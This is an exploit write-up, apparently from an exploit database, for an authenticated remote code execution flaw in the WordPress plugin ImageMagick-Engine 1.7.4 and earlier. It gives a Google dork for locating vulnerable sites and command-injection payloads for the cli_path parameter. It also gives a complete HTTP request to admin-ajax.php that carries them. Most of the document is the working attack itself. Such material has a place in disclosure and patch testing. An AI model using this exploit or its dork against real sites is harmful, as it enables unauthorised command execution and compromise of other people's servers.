WordPress ImageMagick-Engine 1.7.4 Remote Code Execution

`# Exploit Title: Wordpress Plugin ImageMagick-Engine 1.7.4 - Remote Code Execution (RCE) (Authenticated)  
# Google Dork: inurl:"/wp-content/plugins/imagemagick-engine/"  
# Date: Thursday, September 1, 2022  
# Exploit Author: ABDO10  
# Vendor Homepage: https://wordpress.org/plugins/imagemagick-engine/  
# Software Link: https://github.com/orangelabweb/imagemagick-engine/  
# Version: <= 1.7.4  
# Tested on: windows 10  
  
-- vulnerable section  
https://github.com/orangelabweb/imagemagick-engine/commit/73c1d837e0a23870e99d5d1470bd328f8b2cbcd4#diff-83bcdfbbb7b8eaad54df4418757063ad8ce7f692f189fdce2f86b2fe0bcc0a4dR529  
  
-- payload on windows: d&calc.exe&anything  
-- on unix : notify-send "done"  
-- exploit :  
  
GET /wp/wordpress/wp-admin/admin-ajax.php?action=ime_test_im_path&cli_path=[payload]  
HTTP/1.1  
Host: localhost  
Cookie: wordpress_sec_xx=; wp-settings-time-1=;  
wordpress_test_cookie=; wordpress_logged_in_xx=somestuff  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0)  
Gecko/20100101 Firefox/104.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://localhost/wp/wordpress/wp-admin/options-general.php?page=imagemagick-engine  
X-Requested-With: XMLHttpRequest  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers  
Connection: close  
  
`